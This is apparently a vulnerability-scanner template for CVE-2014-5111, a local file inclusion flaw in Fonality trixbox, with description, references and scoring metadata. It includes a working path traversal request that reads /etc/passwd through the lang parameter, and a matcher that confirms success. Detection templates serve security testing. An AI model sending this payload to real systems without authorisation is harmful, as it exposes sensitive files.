id: CVE-2014-5111

info:
  name: Fonality trixbox - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Multiple local file inclusion vulnerabilities in Fonality trixbox allow remote attackers to read arbitrary files via a .. (dot dot) in the lang parameter to (1) home/index.php, (2) asterisk_info/asterisk_info.php, (3) repo/repo.php, or (4) endpointcfg/endpointcfg.php in maint/modules/.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Apply the latest patches and updates provided by the vendor to fix the local file inclusion vulnerability in Fonality trixbox.
  reference:
    - https://www.exploit-db.com/exploits/39351
    - https://nvd.nist.gov/vuln/detail/CVE-2014-5111
    - http://packetstormsecurity.com/files/127522/Trixbox-XSS-LFI-SQL-Injection-Code-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-5111
    cwe-id: CWE-22
    epss-score: 0.21569
    epss-percentile: 0.97376
    cpe: cpe:2.3:a:netfortris:trixbox:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netfortris
    product: trixbox
  tags: cve2014,cve,packetstorm,lfi,trixbox,edb,netfortris,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/maint/modules/endpointcfg/endpointcfg.php?lang=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220718854c6f00a828caa49fb0d2444ff687a519dba865dda3b7580a57d9dc1324702206fa49753a770bdbc51de89ac2aa2118a65a8746646c231f40b4c49a377cdee24:922c64590222798bb761d5b6d8e72950